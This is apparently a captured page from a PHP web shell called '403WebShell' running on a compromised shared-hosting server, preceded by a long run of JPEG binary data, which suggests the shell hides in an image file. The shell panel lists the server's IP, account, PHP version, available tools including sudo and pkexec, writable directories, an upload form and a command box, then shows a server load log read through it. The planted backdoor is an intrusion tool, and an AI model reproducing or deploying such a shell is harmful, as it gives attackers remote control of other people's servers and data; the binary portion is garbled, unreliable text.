JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/loadwatch/2025-11-23.02.48.txt
 ## swap threshold exceeded
## server overview
2025-11-23.02.48 load[0] mem[66/72] mysql[5/12] httpd[14]
              total        used        free      shared  buff/cache   available
Mem:           2363        1490         133          79         739         626
Swap:          1999        1592         407
 02:48:01 up 15:45,  0 users,  load average: 0.97, 0.83, 0.66
## system overview
top - 02:48:02 up 15:45,  0 users,  load average: 0.97, 0.83, 0.66
Tasks: 216 total,   8 running, 207 sleeping,   0 stopped,   1 zombie
%Cpu(s): 71.9 us, 28.1 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,   115696 free,  1542352 used,   762252 buff/cache
KiB Swap:  2047996 total,   417144 free,  1630852 used.   625468 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1916 mysql     20   0 1478544 240424   2712 S  75.0  9.9  12:57.48 /usr/sbin+
 53654 healtho+  20   0  462416  69036   4176 R  56.2  2.9   0:04.16 php-fpm: +
 53976 nigeria   20   0  404052  16140  10384 R  12.5  0.7   0:00.03 /opt/cpan+
   673 root       0 -20       0      0      0 S   6.2  0.0   0:02.62 [loop0]
 53948 cloudw    20   0  353712  15968  10484 R   6.2  0.7   0:00.01 /opt/cpan+
 53961 pactpay   20   0  480124  17672  11880 S   6.2  0.7   0:00.02 /opt/cpan+
 53998 root      20   0  125060   6056    956 R   6.2  0.3   0:00.01 find /tmp+
     1 root      20   0   44508   3244   1412 S   0.0  0.1   1:16.82 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:03.19 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:02.22 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 R   0.0  0.0   0:55.79 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.14 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.15 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:02.19 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:08.73 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:33.48 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.06 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   150 root      20   0       0      0      0 S   0.0  0.0   0:01.27 [kauditd]
   242 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   247 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   249 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   251 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   252 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   255 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   263 root       0 -20       0      0      0 S   0.0  0.0   0:03.46 [kworker/+
   271 root       0 -20       0      0      0 S   0.0  0.0   0:04.05 [kworker/+
   278 root      20   0       0      0      0 S   0.0  0.0   0:02.99 [jbd2/vda+
   279 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   360 root      20   0   40240   2956   2712 S   0.0  0.1   0:32.26 /usr/lib/+
   384 root      20   0   45352      8      4 S   0.0  0.0   0:00.39 /usr/lib/+
   412 root      16  -4   55532    448    328 S   0.0  0.0   0:05.23 /sbin/aud+
   416 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   418 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   499 root      20   0   21540    348    260 S   0.0  0.0   0:01.29 /usr/sbin+
   501 root      20   0   24704   1168    808 S   0.0  0.0   0:12.95 /usr/lib/+
   502 dbus      20   0   58720   1356    612 S   0.0  0.1   0:29.67 /usr/bin/+
   504 rpc       20   0   69256     44      0 S   0.0  0.0   0:00.05 /sbin/rpc+
   514 root      20   0  224148   3084    848 S   0.0  0.1   0:00.60 queueproc+
   515 polkitd   20   0  610540    840    464 S   0.0  0.0   0:07.53 /usr/lib/+
   521 root      20   0  152780     72     28 S   0.0  0.0   0:00.03 /usr/sbin+
   523 root      20   0   52852    144     56 S   0.0  0.0   0:00.01 /usr/sbin+
   524 nscd      20   0 1336536   1832    636 S   0.0  0.1   0:39.70 /usr/sbin+
   544 root      20   0  195208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   548 root      20   0    4388      4      0 S   0.0  0.0   0:00.00 /usr/sbin+
   569 root      20   0   24208     12      0 S   0.0  0.0   0:00.00 /usr/sbin+
   571 root      20   0  124508    844    416 S   0.0  0.0   0:01.57 /usr/sbin+
   591 root      20   0  108296      4      0 S   0.0  0.0   0:00.00 /sbin/age+
   592 root      20   0  114704      0      0 S   0.0  0.0   0:00.02 /bin/bash
   617 mailnull  20   0   90820   3728    800 S   0.0  0.2   0:01.13 /usr/sbin+
   631 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   707 root      20   0       0      0      0 S   0.0  0.0   0:00.11 [jbd2/loo+
   708 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   911 memcach+  20   0  342400     28     28 S   0.0  0.0   0:01.22 /usr/bin/+
   912 root      20   0 1277312   5772      4 S   0.0  0.2   0:24.76 /usr/bin/+
   913 systuser  20   0  111864     76      0 S   0.0  0.0   0:00.01 /usr/loca+
   914 root      20   0  572372    644    176 S   0.0  0.0   0:04.84 /usr/bin/+
   915 root      20   0   51508    444    272 S   0.0  0.0   0:00.83 /usr/sbin+
   916 telegraf  20   0 5654304  36984   4448 S   0.0  1.5   0:30.17 /usr/loca+
   917 systuser  20   0   12756      0      0 S   0.0  0.0   0:00.02 /usr/loca+
   925 systuser  20   0  114016  12620   2404 S   0.0  0.5   0:13.19 /usr/loca+
   926 systuser  20   0  112524     68      0 S   0.0  0.0   0:00.02 /usr/loca+
   927 root      20   0  111304    356    256 S   0.0  0.0   0:07.85 /usr/sbin+
   928 root      20   0 1276100   7716      0 S   0.0  0.3   0:25.72 /usr/bin/+
   930 root      20   0  445028    592    480 S   0.0  0.0   0:02.22 sw-engine+
   931 root      20   0  153404    220    136 S   0.0  0.0   0:01.23 pure-ftpd+
   932 systuser  20   0   10132      0      0 S   0.0  0.0   0:00.02 /usr/loca+
   934 root      20   0  439788    384    292 S   0.0  0.0   0:01.49 php-fpm: +
   938 root      20   0  388892    536    436 S   0.0  0.0   0:01.51 php-fpm: +
   939 root      20   0 1828368 337588    420 S   0.0 13.9   0:30.18 /usr/loca+
   940 root      20   0  331088   3828   3168 S   0.0  0.2   0:16.10 /usr/sbin+
   949 named     20   0 1054796  34328   1348 S   0.0  1.4   0:25.62 /usr/sbin+
   958 root      20   0  400740   2444    604 S   0.0  0.1   0:07.33 php-fpm: +
   962 root      20   0  261692   6352   1632 S   0.0  0.3   0:08.99 cpsrvd (S+
   969 cpanelc+  20   0   10564   3452   2288 S   0.0  0.1   0:45.09 /usr/loca+
   979 root      20   0  396248    244    164 S   0.0  0.0   0:01.42 php-fpm: +
   985 root      20   0  389508    456    360 S   0.0  0.0   0:01.48 php-fpm: +
  1083 dovenull  20   0   47116   1840   1220 S   0.0  0.1   0:01.78 dovecot/p+
  1084 dovenull  20   0   48232   2512   1508 S   0.0  0.1   0:00.62 dovecot/i+
  1085 dovecot   20   0   10320    424    308 S   0.0  0.0   0:00.42 dovecot/a+
  1086 root      20   0   10452    536    348 S   0.0  0.0   0:01.08 dovecot/l+
  1087 dovenull  20   0   47264   1872   1244 S   0.0  0.1   0:02.02 dovecot/p+
  1088 dovenull  20   0   48324   2564   1604 S   0.0  0.1   0:00.59 dovecot/i+
  1093 root      20   0   24528   1832    440 S   0.0  0.1   0:00.36 dovecot/c+
  1101 dovecot   20   0   13568    508    292 S   0.0  0.0   0:00.15 dovecot/s+
  1142 root      20   0  247932  16364    720 S   0.0  0.7   0:09.55 /usr/loca+
  1161 dovecot   20   0   41320   1488    980 S   0.0  0.1   0:02.73 dovecot/a+
  1175 systuser  20   0  157708   2800    752 S   0.0  0.1   0:00.25 SonarPush+
  1177 wp-tool+  20   0  387556   3544   1612 S   0.0  0.1   0:00.49 /usr/bin/+
  1178 wp-tool+  20   0  412396   9444   1380 S   0.0  0.4   0:17.85 /usr/bin/+
  1260 root      20   0  262224  23168   5308 S   0.0  1.0   0:05.85 cpdavd - +
  1263 root      20   0  167452   4104   2736 S   0.0  0.2   0:00.90 dnsadmin +
  1264 root      20   0  209648   9952   2020 S   0.0  0.4   0:06.63 tailwatchd
  1800 root      20   0  299272    400    240 S   0.0  0.0   0:01.50 php-fpm: +
  1834 root      38  18  130416   1372    692 S   0.0  0.1   0:00.14 cpanellog+
  2048 root      20   0  267052   7672    476 S   0.0  0.3   0:03.99 /usr/sbin+
  2050 root      20   0   12840    332    212 S   0.0  0.0   0:05.98 /usr/loca+
  2051 root      20   0   12732    284    208 S   0.0  0.0   0:05.28 /usr/loca+
  2052 root      20   0   12884    344    216 S   0.0  0.0   0:05.62 /usr/loca+
  2059 root      20   0   53340      4      4 S   0.0  0.0   0:00.05 /usr/loca+
  5633 root      20   0  270572  98876   2736 S   0.0  4.1   0:08.27 spamd chi+
  5634 root      20   0  247932  14780    264 S   0.0  0.6   0:00.03 spamd chi+
 13081 root      20   0       0      0      0 S   0.0  0.0   0:00.19 [kworker/+
 21598 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 23684 root      20   0       0      0      0 S   0.0  0.0   0:00.15 [kworker/+
 34708 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 38422 root      20   0       0      0      0 S   0.0  0.0   0:00.08 [kworker/+
 42015 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 42660 nobody    20   0  277728  20280   4716 S   0.0  0.8   0:01.33 /usr/sbin+
 43320 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 44620 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
 44894 nobody    20   0  277728  20068   4488 S   0.0  0.8   0:00.74 /usr/sbin+
 44973 root      20   0  181972   9228   1100 S   0.0  0.4   0:08.81 lfd - sle+
 45469 nobody    20   0  277676  19988   4476 S   0.0  0.8   0:00.76 /usr/sbin+
